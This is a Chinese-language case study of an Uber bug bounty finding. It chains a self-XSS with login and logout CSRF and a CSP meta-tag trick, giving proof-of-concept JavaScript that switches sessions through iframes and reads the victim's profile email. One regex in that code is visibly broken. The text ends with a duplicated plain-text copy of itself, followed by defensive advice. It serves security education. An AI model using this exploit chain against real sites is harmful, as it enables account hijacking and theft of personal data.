Uber Bug Bounty:将self-XSS转变为good-XSS
字数 1597 2025-08-26 22:11:23

从Self-XSS到Good-XSS:Uber漏洞赏金案例分析

1. 漏洞背景

本案例研究了一个在Uber合作伙伴门户网站上发现的XSS漏洞,以及如何通过创造性思维将其从Self-XSS转变为可利用的Good-XSS漏洞。

1.1 初始发现

  • 漏洞位置:Uber合作伙伴门户网站的驱动程序个人资料编辑页面
  • 漏洞类型:存储型XSS
  • 复现步骤:将个人资料字段值修改为<script>alert(document.domain);</script>可触发XSS

1.2 Self-XSS的限制

  • 该XSS仅影响修改自己个人资料的用户
  • 无法直接利用此漏洞攻击其他用户
  • 传统攻击场景(如窃取cookie)无法实现

2. 相关技术分析

2.1 Uber的OAuth流程

  1. 用户访问partners.uber.com
  2. 重定向到授权服务器login.uber.com
  3. 用户输入凭据
  4. 重定向回partners.uber.com/oauth/callback?code=...

2.2 发现的安全问题

  1. OAuth回调缺少state参数:可能导致CSRF漏洞
  2. 注销功能存在CSRF漏洞
    • partners.uber.com/logout会销毁会话
    • 然后重定向到login.uber.com/logout

3. 漏洞利用链构建

3.1 总体思路

将三个小问题组合利用:

  1. Self-XSS漏洞
  2. 登录CSRF漏洞
  3. 注销CSRF漏洞

3.2 攻击步骤

第一步:注销用户但不破坏会话

  • 使用CSP技巧阻止完整注销流程
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">

第二步:将用户登录到攻击者账户

<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">

<script>
var login = function() {
  var loginImg = document.createElement('img');
  loginImg.src = 'https://partners.uber.com/login/';
  loginImg.onerror = redir;
}
var redir = function() {
  var code = window.location.hash.slice(1);
  var loginImg2 = document.createElement('img');
  loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
  loginImg2.onerror = function() {
    window.location = 'https://partners.uber.com/profile/';
  }
}
</script>

第三步:切换回受害者账户

// 创建iframe将用户从攻击者账户登出并登回自己账户
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe内容:

<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">

<script>
var redir = function() {
  window.location = 'https://partners.uber.com/login/';
};
</script>

第四步:窃取受害者数据

setTimeout(function() {
  var profileIframe = document.createElement('iframe');
  profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
  profileIframe.setAttribute('id', 'pi');
  document.body.appendChild(profileIframe);
  
  profileIframe.onload = function() {
    var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
    var matches = /value=name="email"/.exec(d);
    alert(matches[1]);
  }
}, 9000);

4. 关键技术点

4.1 CSP绕过技巧

  • 使用<meta>标签设置CSP策略,限制请求只发送到partners.uber.com
  • 阻止浏览器完成到login.uber.com的重定向
  • 利用onerror事件处理程序在请求被阻止时执行代码

4.2 会话控制技术

  1. 注销控制:通过CSP限制确保只注销partners.uber.com而不影响login.uber.com的会话
  2. 登录控制:分阶段控制登录流程,先初始化登录再注入code参数
  3. 会话切换:使用iframe在后台完成会话切换操作

4.3 同源策略利用

  • 利用X-Frame-Options设置为sameorigin的特性
  • 通过iframe访问同源内容(contentWindow

5. 完整攻击流程

  1. 攻击者将恶意payload存储在自己的个人资料中
  2. 攻击者准备一个包含code参数的URL
  3. 诱使受害者访问攻击者构造的页面
  4. 受害者被:
    • partners.uber.com登出
    • 登录到攻击者的账户
    • 执行攻击者个人资料中的XSS payload
  5. 在后台:
    • 受害者被从攻击者账户登出
    • 重新登录回自己的账户
  6. 攻击者通过iframe访问受害者的个人资料页面
  7. 窃取受害者敏感信息

6. 防御建议

  1. 输入过滤

    • 对所有用户输入进行严格的过滤和转义
    • 实施内容安全策略
  2. OAuth改进

    • 始终使用state参数
    • 验证回调请求的来源
  3. 会话管理

    • 注销功能应完全终止所有相关会话
    • 实施CSRF保护机制
  4. 框架保护

    • 设置适当的X-Frame-Options头
    • 考虑使用Frame Buster脚本
  5. 安全开发

    • 实施严格的同源策略
    • 定期进行安全审计和渗透测试

7. 总结

本案例展示了如何通过创造性思维将看似无害的Self-XSS转变为严重的Good-XSS漏洞。关键在于:

  • 深入理解系统架构和认证流程
  • 发现并串联多个小漏洞
  • 巧妙利用浏览器安全机制(如CSP)来实现攻击目的
  • 分阶段控制用户会话状态

这种攻击方式强调了在安全评估中考虑漏洞组合效应的重要性,以及即使看似低风险的漏洞也可能在特定条件下转变为高危漏洞。

从Self-XSS到Good-XSS:Uber漏洞赏金案例分析 1. 漏洞背景 本案例研究了一个在Uber合作伙伴门户网站上发现的XSS漏洞,以及如何通过创造性思维将其从Self-XSS转变为可利用的Good-XSS漏洞。 1.1 初始发现 漏洞位置:Uber合作伙伴门户网站的驱动程序个人资料编辑页面 漏洞类型:存储型XSS 复现步骤:将个人资料字段值修改为 <script>alert(document.domain);</script> 可触发XSS 1.2 Self-XSS的限制 该XSS仅影响修改自己个人资料的用户 无法直接利用此漏洞攻击其他用户 传统攻击场景(如窃取cookie)无法实现 2. 相关技术分析 2.1 Uber的OAuth流程 用户访问 partners.uber.com 重定向到授权服务器 login.uber.com 用户输入凭据 重定向回 partners.uber.com/oauth/callback?code=... 2.2 发现的安全问题 OAuth回调缺少state参数 :可能导致CSRF漏洞 注销功能存在CSRF漏洞 : partners.uber.com/logout 会销毁会话 然后重定向到 login.uber.com/logout 3. 漏洞利用链构建 3.1 总体思路 将三个小问题组合利用: Self-XSS漏洞 登录CSRF漏洞 注销CSRF漏洞 3.2 攻击步骤 第一步:注销用户但不破坏会话 使用CSP技巧阻止完整注销流程 第二步:将用户登录到攻击者账户 第三步:切换回受害者账户 iframe内容: 第四步:窃取受害者数据 4. 关键技术点 4.1 CSP绕过技巧 使用 <meta> 标签设置CSP策略,限制请求只发送到 partners.uber.com 阻止浏览器完成到 login.uber.com 的重定向 利用 onerror 事件处理程序在请求被阻止时执行代码 4.2 会话控制技术 注销控制 :通过CSP限制确保只注销 partners.uber.com 而不影响 login.uber.com 的会话 登录控制 :分阶段控制登录流程,先初始化登录再注入code参数 会话切换 :使用iframe在后台完成会话切换操作 4.3 同源策略利用 利用 X-Frame-Options 设置为 sameorigin 的特性 通过iframe访问同源内容( contentWindow ) 5. 完整攻击流程 攻击者将恶意payload存储在自己的个人资料中 攻击者准备一个包含code参数的URL 诱使受害者访问攻击者构造的页面 受害者被: 从 partners.uber.com 登出 登录到攻击者的账户 执行攻击者个人资料中的XSS payload 在后台: 受害者被从攻击者账户登出 重新登录回自己的账户 攻击者通过iframe访问受害者的个人资料页面 窃取受害者敏感信息 6. 防御建议 输入过滤 : 对所有用户输入进行严格的过滤和转义 实施内容安全策略 OAuth改进 : 始终使用state参数 验证回调请求的来源 会话管理 : 注销功能应完全终止所有相关会话 实施CSRF保护机制 框架保护 : 设置适当的X-Frame-Options头 考虑使用Frame Buster脚本 安全开发 : 实施严格的同源策略 定期进行安全审计和渗透测试 7. 总结 本案例展示了如何通过创造性思维将看似无害的Self-XSS转变为严重的Good-XSS漏洞。关键在于: 深入理解系统架构和认证流程 发现并串联多个小漏洞 巧妙利用浏览器安全机制(如CSP)来实现攻击目的 分阶段控制用户会话状态 这种攻击方式强调了在安全评估中考虑漏洞组合效应的重要性,以及即使看似低风险的漏洞也可能在特定条件下转变为高危漏洞。